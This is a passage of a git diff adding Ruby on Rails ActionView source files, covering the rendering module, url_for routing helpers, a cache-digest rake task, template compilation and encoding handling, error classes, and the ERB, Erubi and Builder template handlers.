+      @original_config.locale
+    end
+
+    def locale=(value)
+      @lookup_context.locale = value
+    end
+  end
+
+  module Rendering
+    extend ActiveSupport::Concern
+    include ActionView::ViewPaths
+
+    # Overwrite process to setup I18n proxy.
+    def process(*) #:nodoc:
+      old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
+      super
+    ensure
+      I18n.config = old_config
+    end
+
+    module ClassMethods
+      def view_context_class
+        @view_context_class ||= begin
+          supports_path = supports_path?
+          routes  = respond_to?(:_routes)  && _routes
+          helpers = respond_to?(:_helpers) && _helpers
+
+          Class.new(ActionView::Base) do
+            if routes
+              include routes.url_helpers(supports_path)
+              include routes.mounted_helpers
+            end
+
+            if helpers
+              include helpers
+            end
+          end
+        end
+      end
+    end
+
+    attr_internal_writer :view_context_class
+
+    def view_context_class
+      @_view_context_class ||= self.class.view_context_class
+    end
+
+    # An instance of a view class. The default view class is ActionView::Base.
+    #
+    # The view class must have the following methods:
+    # View.new[lookup_context, assigns, controller]
+    #   Create a new ActionView instance for a controller and we can also pass the arguments.
+    # View#render(option)
+    #   Returns String with the rendered template
+    #
+    # Override this method in a module to change the default behavior.
+    def view_context
+      view_context_class.new(view_renderer, view_assigns, self)
+    end
+
+    # Returns an object that is able to render templates.
+    # :api: private
+    def view_renderer
+      @_view_renderer ||= ActionView::Renderer.new(lookup_context)
+    end
+
+    def render_to_body(options = {})
+      _process_options(options)
+      _render_template(options)
+    end
+
+    def rendered_format
+      Template::Types[lookup_context.rendered_format]
+    end
+
+    private
+
+      # Find and render a template based on the options given.
+      # :api: private
+      def _render_template(options)
+        variant = options.delete(:variant)
+        assigns = options.delete(:assigns)
+        context = view_context
+
+        context.assign assigns if assigns
+        lookup_context.rendered_format = nil if options[:formats]
+        lookup_context.variants = variant if variant
+
+        view_renderer.render(context, options)
+      end
+
+      # Assign the rendered format to look up context.
+      def _process_format(format)
+        super
+        lookup_context.formats = [format.to_sym]
+        lookup_context.rendered_format = lookup_context.formats.first
+      end
+
+      # Normalize args by converting render "foo" to render :action => "foo" and
+      # render "foo/bar" to render :template => "foo/bar".
+      # :api: private
+      def _normalize_args(action = nil, options = {})
+        options = super(action, options)
+        case action
+        when NilClass
+        when Hash
+          options = action
+        when String, Symbol
+          action = action.to_s
+          key = action.include?(?/) ? :template : :action
+          options[key] = action
+        else
+          if action.respond_to?(:permitted?) && action.permitted?
+            options = action
+          else
+            options[:partial] = action
+          end
+        end
+
+        options
+      end
+
+      # Normalize options.
+      # :api: private
+      def _normalize_options(options)
+        options = super(options)
+        if options[:partial] == true
+          options[:partial] = action_name
+        end
+
+        if (options.keys & [:partial, :file, :template]).empty?
+          options[:prefixes] ||= _prefixes
+        end
+
+        options[:template] ||= (options[:action] || action_name).to_s
+        options
+      end
+  end
+end
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
new file mode 100644
index 0000000000..fd563f34a9
--- /dev/null
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "action_dispatch/routing/polymorphic_routes"
+
+module ActionView
+  module RoutingUrlFor
+    # Returns the URL for the set of +options+ provided. This takes the
+    # same options as +url_for+ in Action Controller (see the
+    # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
+    # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
+    # instead of the fully qualified URL like "http://example.com/controller/action".
+    #
+    # ==== Options
+    # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+    # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+    #   is currently not recommended since it breaks caching.
+    # * <tt>:host</tt> - Overrides the default (current) host if provided.
+    # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+    # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+    # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+    #
+    # ==== Relying on named routes
+    #
+    # Passing a record (like an Active Record) instead of a hash as the options parameter will
+    # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
+    # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
+    # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
+    #
+    # ==== Implicit Controller Namespacing
+    #
+    # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+    #
+    # ==== Examples
+    #   <%= url_for(action: 'index') %>
+    #   # => /blogs/
+    #
+    #   <%= url_for(action: 'find', controller: 'books') %>
+    #   # => /books/find
+    #
+    #   <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
+    #   # => https://www.example.com/members/login/
+    #
+    #   <%= url_for(action: 'play', anchor: 'player') %>
+    #   # => /messages/play/#player
+    #
+    #   <%= url_for(action: 'jump', anchor: 'tax&ship') %>
+    #   # => /testing/jump/#tax&ship
+    #
+    #   <%= url_for(Workshop.new) %>
+    #   # relies on Workshop answering a persisted? call (and in this case returning false)
+    #   # => /workshops
+    #
+    #   <%= url_for(@workshop) %>
+    #   # calls @workshop.to_param which by default returns the id
+    #   # => /workshops/5
+    #
+    #   # to_param can be re-defined in a model to provide different URL names:
+    #   # => /workshops/1-workshop-name
+    #
+    #   <%= url_for("http://www.example.com") %>
+    #   # => http://www.example.com
+    #
+    #   <%= url_for(:back) %>
+    #   # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+    #   # => http://www.example.com
+    #
+    #   <%= url_for(:back) %>
+    #   # if request.env["HTTP_REFERER"] is not set or is blank
+    #   # => javascript:history.back()
+    #
+    #   <%= url_for(action: 'index', controller: 'users') %>
+    #   # Assuming an "admin" namespace
+    #   # => /admin/users
+    #
+    #   <%= url_for(action: 'index', controller: '/users') %>
+    #   # Specify absolute path with beginning slash
+    #   # => /users
+    def url_for(options = nil)
+      case options
+      when String
+        options
+      when nil
+        super(only_path: _generate_paths_by_default)
+      when Hash
+        options = options.symbolize_keys
+        unless options.key?(:only_path)
+          options[:only_path] = only_path?(options[:host])
+        end
+
+        super(options)
+      when ActionController::Parameters
+        unless options.key?(:only_path)
+          options[:only_path] = only_path?(options[:host])
+        end
+
+        super(options)
+      when :back
+        _back_url
+      when Array
+        components = options.dup
+        if _generate_paths_by_default
+          polymorphic_path(components, components.extract_options!)
+        else
+          polymorphic_url(components, components.extract_options!)
+        end
+      else
+        method = _generate_paths_by_default ? :path : :url
+        builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.send(method)
+
+        case options
+        when Symbol
+          builder.handle_string_call(self, options)
+        when Class
+          builder.handle_class_call(self, options)
+        else
+          builder.handle_model_call(self, options)
+        end
+      end
+    end
+
+    def url_options #:nodoc:
+      return super unless controller.respond_to?(:url_options)
+      controller.url_options
+    end
+
+    private
+      def _routes_context
+        controller
+      end
+
+      def optimize_routes_generation?
+        controller.respond_to?(:optimize_routes_generation?, true) ?
+          controller.optimize_routes_generation? : super
+      end
+
+      def _generate_paths_by_default
+        true
+      end
+
+      def only_path?(host)
+        _generate_paths_by_default unless host
+      end
+  end
+end
diff --git a/actionview/lib/action_view/tasks/cache_digests.rake b/actionview/lib/action_view/tasks/cache_digests.rake
new file mode 100644
index 0000000000..dd8e94bd88
--- /dev/null
+++ b/actionview/lib/action_view/tasks/cache_digests.rake
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+namespace :cache_digests do
+  desc "Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)"
+  task nested_dependencies: :environment do
+    abort "You must provide TEMPLATE for the task to run" unless ENV["TEMPLATE"].present?
+    puts JSON.pretty_generate ActionView::Digestor.tree(CacheDigests.template_name, CacheDigests.finder).children.map(&:to_dep_map)
+  end
+
+  desc "Lookup first-level dependencies for TEMPLATE (like messages/show or comments/_comment.html)"
+  task dependencies: :environment do
+    abort "You must provide TEMPLATE for the task to run" unless ENV["TEMPLATE"].present?
+    puts JSON.pretty_generate ActionView::Digestor.tree(CacheDigests.template_name, CacheDigests.finder).children.map(&:name)
+  end
+
+  class CacheDigests
+    def self.template_name
+      ENV["TEMPLATE"].split(".", 2).first
+    end
+
+    def self.finder
+      ApplicationController.new.lookup_context
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
new file mode 100644
index 0000000000..e53c8356af
--- /dev/null
+++ b/actionview/lib/action_view/template.rb
@@ -0,0 +1,361 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+require "active_support/core_ext/kernel/singleton_class"
+require "thread"
+
+module ActionView
+  # = Action View Template
+  class Template
+    extend ActiveSupport::Autoload
+
+    # === Encodings in ActionView::Template
+    #
+    # ActionView::Template is one of a few sources of potential
+    # encoding issues in Rails. This is because the source for
+    # templates are usually read from disk, and Ruby (like most
+    # encoding-aware programming languages) assumes that the
+    # String retrieved through File IO is encoded in the
+    # <tt>default_external</tt> encoding. In Rails, the default
+    # <tt>default_external</tt> encoding is UTF-8.
+    #
+    # As a result, if a user saves their template as ISO-8859-1
+    # (for instance, using a non-Unicode-aware text editor),
+    # and uses characters outside of the ASCII range, their
+    # users will see diamonds with question marks in them in
+    # the browser.
+    #
+    # For the rest of this documentation, when we say "UTF-8",
+    # we mean "UTF-8 or whatever the default_internal encoding
+    # is set to". By default, it will be UTF-8.
+    #
+    # To mitigate this problem, we use a few strategies:
+    # 1. If the source is not valid UTF-8, we raise an exception
+    #    when the template is compiled to alert the user
+    #    to the problem.
+    # 2. The user can specify the encoding using Ruby-style
+    #    encoding comments in any template engine. If such
+    #    a comment is supplied, Rails will apply that encoding
+    #    to the resulting compiled source returned by the
+    #    template handler.
+    # 3. In all cases, we transcode the resulting String to
+    #    the UTF-8.
+    #
+    # This means that other parts of Rails can always assume
+    # that templates are encoded in UTF-8, even if the original
+    # source of the template was not UTF-8.
+    #
+    # From a user's perspective, the easiest thing to do is
+    # to save your templates as UTF-8. If you do this, you
+    # do not need to do anything else for things to "just work".
+    #
+    # === Instructions for template handlers
+    #
+    # The easiest thing for you to do is to simply ignore
+    # encodings. Rails will hand you the template source
+    # as the default_internal (generally UTF-8), raising
+    # an exception for the user before sending the template
+    # to you if it could not determine the original encoding.
+    #
+    # For the greatest simplicity, you can support only
+    # UTF-8 as the <tt>default_internal</tt>. This means
+    # that from the perspective of your handler, the
+    # entire pipeline is just UTF-8.
+    #
+    # === Advanced: Handlers with alternate metadata sources
+    #
+    # If you want to provide an alternate mechanism for
+    # specifying encodings (like ERB does via <%# encoding: ... %>),
+    # you may indicate that you will handle encodings yourself
+    # by implementing <tt>handles_encoding?</tt> on your handler.
+    #
+    # If you do, Rails will not try to encode the String
+    # into the default_internal, passing you the unaltered
+    # bytes tagged with the assumed encoding (from
+    # default_external).
+    #
+    # In this case, make sure you return a String from
+    # your handler encoded in the default_internal. Since
+    # you are handling out-of-band metadata, you are
+    # also responsible for alerting the user to any
+    # problems with converting the user's data to
+    # the <tt>default_internal</tt>.
+    #
+    # To do so, simply raise +WrongEncodingError+ as follows:
+    #
+    #     raise WrongEncodingError.new(
+    #       problematic_string,
+    #       expected_encoding
+    #     )
+
+    ##
+    # :method: local_assigns
+    #
+    # Returns a hash with the defined local variables.
+    #
+    # Given this sub template rendering:
+    #
+    #   <%= render "shared/header", { headline: "Welcome", person: person } %>
+    #
+    # You can use +local_assigns+ in the sub templates to access the local variables:
+    #
+    #   local_assigns[:headline] # => "Welcome"
+
+    eager_autoload do
+      autoload :Error
+      autoload :Handlers
+      autoload :HTML
+      autoload :Text
+      autoload :Types
+    end
+
+    extend Template::Handlers
+
+    attr_accessor :locals, :formats, :variants, :virtual_path
+
+    attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
+
+    # This finalizer is needed (and exactly with a proc inside another proc)
+    # otherwise templates leak in development.
+    Finalizer = proc do |method_name, mod| # :nodoc:
+      proc do
+        mod.module_eval do
+          remove_possible_method method_name
+        end
+      end
+    end
+
+    def initialize(source, identifier, handler, details)
+      format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
+
+      @source            = source
+      @identifier        = identifier
+      @handler           = handler
+      @compiled          = false
+      @original_encoding = nil
+      @locals            = details[:locals] || []
+      @virtual_path      = details[:virtual_path]
+      @updated_at        = details[:updated_at] || Time.now
+      @formats           = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f  }
+      @variants          = [details[:variant]]
+      @compile_mutex     = Mutex.new
+    end
+
+    # Returns whether the underlying handler supports streaming. If so,
+    # a streaming buffer *may* be passed when it starts rendering.
+    def supports_streaming?
+      handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
+    end
+
+    # Render a template. If the template was not compiled yet, it is done
+    # exactly before rendering.
+    #
+    # This method is instrumented as "!render_template.action_view". Notice that
+    # we use a bang in this instrumentation because you don't want to
+    # consume this in production. This is only slow if it's being listened to.
+    def render(view, locals, buffer = nil, &block)
+      instrument_render_template do
+        compile!(view)
+        view.send(method_name, locals, buffer, &block)
+      end
+    rescue => e
+      handle_render_error(view, e)
+    end
+
+    def type
+      @type ||= Types[@formats.first] if @formats.first
+    end
+
+    # Receives a view object and return a template similar to self by using @virtual_path.
+    #
+    # This method is useful if you have a template object but it does not contain its source
+    # anymore since it was already compiled. In such cases, all you need to do is to call
+    # refresh passing in the view object.
+    #
+    # Notice this method raises an error if the template to be refreshed does not have a
+    # virtual path set (true just for inline templates).
+    def refresh(view)
+      raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
+      lookup  = view.lookup_context
+      pieces  = @virtual_path.split("/")
+      name    = pieces.pop
+      partial = !!name.sub!(/^_/, "")
+      lookup.disable_cache do
+        lookup.find_template(name, [ pieces.join("/") ], partial, @locals)
+      end
+    end
+
+    def inspect
+      @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", "".freeze) : identifier
+    end
+
+    # This method is responsible for properly setting the encoding of the
+    # source. Until this point, we assume that the source is BINARY data.
+    # If no additional information is supplied, we assume the encoding is
+    # the same as <tt>Encoding.default_external</tt>.
+    #
+    # The user can also specify the encoding via a comment on the first
+    # line of the template (# encoding: NAME-OF-ENCODING). This will work
+    # with any template engine, as we process out the encoding comment
+    # before passing the source on to the template engine, leaving a
+    # blank line in its stead.
+    def encode!
+      return unless source.encoding == Encoding::BINARY
+
+      # Look for # encoding: *. If we find one, we'll encode the
+      # String in that encoding, otherwise, we'll use the
+      # default external encoding.
+      if source.sub!(/\A#{ENCODING_FLAG}/, "")
+        encoding = magic_encoding = $1
+      else
+        encoding = Encoding.default_external
+      end
+
+      # Tag the source with the default external encoding
+      # or the encoding specified in the file
+      source.force_encoding(encoding)
+
+      # If the user didn't specify an encoding, and the handler
+      # handles encodings, we simply pass the String as is to
+      # the handler (with the default_external tag)
+      if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+        source
+      # Otherwise, if the String is valid in the encoding,
+      # encode immediately to default_internal. This means
+      # that if a handler doesn't handle encodings, it will
+      # always get Strings in the default_internal
+      elsif source.valid_encoding?
+        source.encode!
+      # Otherwise, since the String is invalid in the encoding
+      # specified, raise an exception
+      else
+        raise WrongEncodingError.new(source, encoding)
+      end
+    end
+
+    private
+
+      # Compile a template. This method ensures a template is compiled
+      # just once and removes the source after it is compiled.
+      def compile!(view)
+        return if @compiled
+
+        # Templates can be used concurrently in threaded environments
+        # so compilation and any instance variable modification must
+        # be synchronized
+        @compile_mutex.synchronize do
+          # Any thread holding this lock will be compiling the template needed
+          # by the threads waiting. So re-check the @compiled flag to avoid
+          # re-compilation
+          return if @compiled
+
+          if view.is_a?(ActionView::CompiledTemplates)
+            mod = ActionView::CompiledTemplates
+          else
+            mod = view.singleton_class
+          end
+
+          instrument("!compile_template") do
+            compile(mod)
+          end
+
+          # Just discard the source if we have a virtual path. This
+          # means we can get the template back.
+          @source = nil if @virtual_path
+          @compiled = true
+        end
+      end
+
+      # Among other things, this method is responsible for properly setting
+      # the encoding of the compiled template.
+      #
+      # If the template engine handles encodings, we send the encoded
+      # String to the engine without further processing. This allows
+      # the template engine to support additional mechanisms for
+      # specifying the encoding. For instance, ERB supports <%# encoding: %>
+      #
+      # Otherwise, after we figure out the correct encoding, we then
+      # encode the source into <tt>Encoding.default_internal</tt>.
+      # In general, this means that templates will be UTF-8 inside of Rails,
+      # regardless of the original source encoding.
+      def compile(mod)
+        encode!
+        code = @handler.call(self)
+
+        # Make sure that the resulting String to be eval'd is in the
+        # encoding of the code
+        source = <<-end_src.dup
+          def #{method_name}(local_assigns, output_buffer)
+            _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
+          ensure
+            @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
+          end
+        end_src
+
+        # Make sure the source is in the encoding of the returned code
+        source.force_encoding(code.encoding)
+
+        # In case we get back a String from a handler that is not in
+        # BINARY or the default_internal, encode it to the default_internal
+        source.encode!
+
+        # Now, validate that the source we got back from the template
+        # handler is valid in the default_internal. This is for handlers
+        # that handle encoding but screw up
+        unless source.valid_encoding?
+          raise WrongEncodingError.new(@source, Encoding.default_internal)
+        end
+
+        mod.module_eval(source, identifier, 0)
+        ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+      end
+
+      def handle_render_error(view, e)
+        if e.is_a?(Template::Error)
+          e.sub_template_of(self)
+          raise e
+        else
+          template = self
+          unless template.source
+            template = refresh(view)
+            template.encode!
+          end
+          raise Template::Error.new(template)
+        end
+      end
+
+      def locals_code
+        # Only locals with valid variable names get set directly. Others will
+        # still be available in local_assigns.
+        locals = @locals - Module::RUBY_RESERVED_KEYWORDS
+        locals = locals.grep(/\A@?(?![A-Z0-9])(?:[[:alnum:]_]|[^\0-\177])+\z/)
+
+        # Double assign to suppress the dreaded 'assigned but unused variable' warning
+        locals.each_with_object("".dup) { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
+      end
+
+      def method_name
+        @method_name ||= begin
+          m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".dup
+          m.tr!("-".freeze, "_".freeze)
+          m
+        end
+      end
+
+      def identifier_method_name
+        inspect.tr("^a-z_".freeze, "_".freeze)
+      end
+
+      def instrument(action, &block) # :doc:
+        ActiveSupport::Notifications.instrument("#{action}.action_view", instrument_payload, &block)
+      end
+
+      def instrument_render_template(&block)
+        ActiveSupport::Notifications.instrument("!render_template.action_view".freeze, instrument_payload, &block)
+      end
+
+      def instrument_payload
+        { virtual_path: @virtual_path, identifier: @identifier }
+      end
+  end
+end
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
new file mode 100644
index 0000000000..2b0b25817b
--- /dev/null
+++ b/actionview/lib/action_view/template/error.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
+module ActionView
+  # = Action View Errors
+  class ActionViewError < StandardError #:nodoc:
+  end
+
+  class EncodingError < StandardError #:nodoc:
+  end
+
+  class MissingRequestError < StandardError #:nodoc:
+  end
+
+  class WrongEncodingError < EncodingError #:nodoc:
+    def initialize(string, encoding)
+      @string, @encoding = string, encoding
+    end
+
+    def message
+      @string.force_encoding(Encoding::ASCII_8BIT)
+      "Your template was not saved as valid #{@encoding}. Please " \
+      "either specify #{@encoding} as the encoding for your template " \
+      "in your text editor, or mark the template with its " \
+      "encoding by inserting the following as the first line " \
+      "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
+      "The source of your template was:\n\n#{@string}"
+    end
+  end
+
+  class MissingTemplate < ActionViewError #:nodoc:
+    attr_reader :path
+
+    def initialize(paths, path, prefixes, partial, details, *)
+      @path = path
+      prefixes = Array(prefixes)
+      template_type = if partial
+        "partial"
+      elsif /layouts/i.match?(path)
+        "layout"
+      else
+        "template"
+      end
+
+      if partial && path.present?
+        path = path.sub(%r{([^/]+)$}, "_\\1")
+      end
+      searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
+
+      out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
+      out += paths.compact.map { |p| "  * #{p.to_s.inspect}\n" }.join
+      super out
+    end
+  end
+
+  class Template
+    # The Template::Error exception is raised when the compilation or rendering of the template
+    # fails. This exception then gathers a bunch of intimate details and uses it to report a
+    # precise exception message.
+    class Error < ActionViewError #:nodoc:
+      SOURCE_CODE_RADIUS = 3
+
+      # Override to prevent #cause resetting during re-raise.
+      attr_reader :cause
+
+      def initialize(template)
+        super($!.message)
+        set_backtrace($!.backtrace)
+        @cause = $!
+        @template, @sub_templates = template, nil
+      end
+
+      def file_name
+        @template.identifier
+      end
+
+      def sub_template_message
+        if @sub_templates
+          "Trace of template inclusion: " +
+          @sub_templates.collect(&:inspect).join(", ")
+        else
+          ""
+        end
+      end
+
+      def source_extract(indentation = 0, output = :console)
+        return unless num = line_number
+        num = num.to_i
+
+        source_code = @template.source.split("\n")
+
+        start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
+        end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
+
+        indent = end_on_line.to_s.size + indentation
+        return unless source_code = source_code[start_on_line..end_on_line]
+
+        formatted_code_for(source_code, start_on_line, indent, output)
+      end
+
+      def sub_template_of(template_path)
+        @sub_templates ||= []
+        @sub_templates << template_path
+      end
+
+      def line_number
+        @line_number ||=
+          if file_name
+            regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
+            $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
+          end
+      end
+
+      def annoted_source_code
+        source_extract(4)
+      end
+
+      private
+
+        def source_location
+          if line_number
+            "on line ##{line_number} of "
+          else
+            "in "
+          end + file_name
+        end
+
+        def formatted_code_for(source_code, line_counter, indent, output)
+          start_value = (output == :html) ? {} : []
+          source_code.inject(start_value) do |result, line|
+            line_counter += 1
+            if output == :html
+              result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
+            else
+              result << "%#{indent}s: %s" % [line_counter, line]
+            end
+          end
+        end
+    end
+  end
+
+  TemplateError = Template::Error
+end
diff --git a/actionview/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb
new file mode 100644
index 0000000000..b3df0aa606
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module ActionView #:nodoc:
+  # = Action View Template Handlers
+  class Template
+    module Handlers #:nodoc:
+      autoload :Raw, "action_view/template/handlers/raw"
+      autoload :ERB, "action_view/template/handlers/erb"
+      autoload :Html, "action_view/template/handlers/html"
+      autoload :Builder, "action_view/template/handlers/builder"
+
+      def self.extended(base)
+        base.register_default_template_handler :raw, Raw.new
+        base.register_template_handler :erb, ERB.new
+        base.register_template_handler :html, Html.new
+        base.register_template_handler :builder, Builder.new
+        base.register_template_handler :ruby, :source.to_proc
+      end
+
+      @@template_handlers = {}
+      @@default_template_handlers = nil
+
+      def self.extensions
+        @@template_extensions ||= @@template_handlers.keys
+      end
+
+      # Register an object that knows how to handle template files with the given
+      # extensions. This can be used to implement new template types.
+      # The handler must respond to +:call+, which will be passed the template
+      # and should return the rendered template as a String.
+      def register_template_handler(*extensions, handler)
+        raise(ArgumentError, "Extension is required") if extensions.empty?
+        extensions.each do |extension|
+          @@template_handlers[extension.to_sym] = handler
+        end
+        @@template_extensions = nil
+      end
+
+      # Opposite to register_template_handler.
+      def unregister_template_handler(*extensions)
+        extensions.each do |extension|
+          handler = @@template_handlers.delete extension.to_sym
+          @@default_template_handlers = nil if @@default_template_handlers == handler
+        end
+        @@template_extensions = nil
+      end
+
+      def template_handler_extensions
+        @@template_handlers.keys.map(&:to_s).sort
+      end
+
+      def registered_template_handler(extension)
+        extension && @@template_handlers[extension.to_sym]
+      end
+
+      def register_default_template_handler(extension, klass)
+        register_template_handler(extension, klass)
+        @@default_template_handlers = klass
+      end
+
+      def handler_for_extension(extension)
+        registered_template_handler(extension) || @@default_template_handlers
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/builder.rb b/actionview/lib/action_view/template/handlers/builder.rb
new file mode 100644
index 0000000000..61492ce448
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/builder.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Template::Handlers
+    class Builder
+      class_attribute :default_format, default: :xml
+
+      def call(template)
+        require_engine
+        "xml = ::Builder::XmlMarkup.new(:indent => 2);" \
+          "self.output_buffer = xml.target!;" +
+          template.source +
+          ";xml.target!;"
+      end
+
+      private
+        def require_engine # :doc:
+          @required ||= begin
+            require "builder"
+            true
+          end
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
new file mode 100644
index 0000000000..c41de62e52
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+module ActionView
+  class Template
+    module Handlers
+      autoload :Erubis, "action_view/template/handlers/erb/deprecated_erubis"
+
+      class ERB
+        autoload :Erubi, "action_view/template/handlers/erb/erubi"
+        autoload :Erubis, "action_view/template/handlers/erb/erubis"
+
+        # Specify trim mode for the ERB compiler. Defaults to '-'.
+        # See ERB documentation for suitable values.
+        class_attribute :erb_trim_mode, default: "-"
+
+        # Default implementation used.
+        class_attribute :erb_implementation, default: Erubi
+
+        # Do not escape templates of these mime types.
+        class_attribute :escape_whitelist, default: ["text/plain"]
+
+        ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
+
+        def self.call(template)
+          new.call(template)
+        end
+
+        def supports_streaming?
+          true
+        end
+
+        def handles_encoding?
+          true
+        end
+
+        def call(template)
+          # First, convert to BINARY, so in case the encoding is
+          # wrong, we can still find an encoding tag
+          # (<%# encoding %>) inside the String using a regular
+          # expression
+          template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
+
+          erb = template_source.gsub(ENCODING_TAG, "")
+          encoding = $2
+
+          erb.force_encoding valid_encoding(template.source.dup, encoding)
+
+          # Always make sure we return a String in the default_internal
+          erb.encode!
+
+          self.class.erb_implementation.new(
+            erb,
+            escape: (self.class.escape_whitelist.include? template.type),
+            trim: (self.class.erb_trim_mode == "-")
+          ).src
+        end
+
+      private
+
+        def valid_encoding(string, encoding)
+          # If a magic encoding comment was found, tag the
+          # String with this encoding. This is for a case
+          # where the original String was assumed to be,
+          # for instance, UTF-8, but a magic comment
+          # proved otherwise
+          string.force_encoding(encoding) if encoding
+
+          # If the String is valid, return the encoding we found
+          return string.encoding if string.valid_encoding?
+
+          # Otherwise, raise an exception
+          raise WrongEncodingError.new(string, string.encoding)
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb b/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb
new file mode 100644
index 0000000000..00c7d7cc7d
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb/deprecated_erubis.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+::ActiveSupport::Deprecation.warn("ActionView::Template::Handlers::Erubis is deprecated and will be removed from Rails 5.2. Switch to ActionView::Template::Handlers::ERB::Erubi instead.")
+
+module ActionView
+  class Template
+    module Handlers
+      Erubis = ERB::Erubis
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/erb/erubi.rb b/actionview/lib/action_view/template/handlers/erb/erubi.rb
new file mode 100644
index 0000000000..db75f028ed
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb/erubi.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "erubi"
+
+module ActionView
+  class Template
+    module Handlers
+      class ERB
+        class Erubi < ::Erubi::Engine
+          # :nodoc: all
+          def initialize(input, properties = {})
+            @newline_pending = 0
+
+            # Dup properties so that we don't modify argument
+            properties = Hash[properties]
+            properties[:preamble]   = "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
+            properties[:postamble]  = "@output_buffer.to_s"
+            properties[:bufvar]     = "@output_buffer"
+            properties[:escapefunc] = ""
+
+            super
+          end
+
+          def evaluate(action_view_erb_handler_context)
+            pr = eval("proc { #{@src} }", binding, @filename || "(erubi)")
+            action_view_erb_handler_context.instance_eval(&pr)
+          end
+
+        private
+          def add_text(text)
+            return if text.empty?
+
+            if text == "\n"
+              @newline_pending += 1
+            else
+              src << "@output_buffer.safe_append='"
+              src << "\n" * @newline_pending if @newline_pending > 0
+              src << text.gsub(/['\\]/, '\\\\\&')
+              src << "'.freeze;"
+
+              @newline_pending = 0
+            end
+          end
+
+          BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
+
+          def add_expression(indicator, code)
+            flush_newline_if_pending(src)
+
+            if (indicator == "==") || @escape
+              src << "@output_buffer.safe_expr_append="
+            else
+              src << "@output_buffer.append="
+            end
+
+            if BLOCK_EXPR.match?(code)
+              src << " " << code
+            else
+              src << "(" << code << ");"
+            end
+          end
+
+          def add_code(code)
+            flush_newline_if_pending(src)
+            super
+          end
+
+          def add_postamble(_)
+            flush_newline_if_pending(src)
+            super
+          end
+
+          def flush_newline_if_pending(src)
+            if @newline_pending > 0
+              src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
+              @newline_pending = 0
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/handlers/erb/erubis.rb b/actionview/lib/action_view/template/handlers/erb/erubis.rb
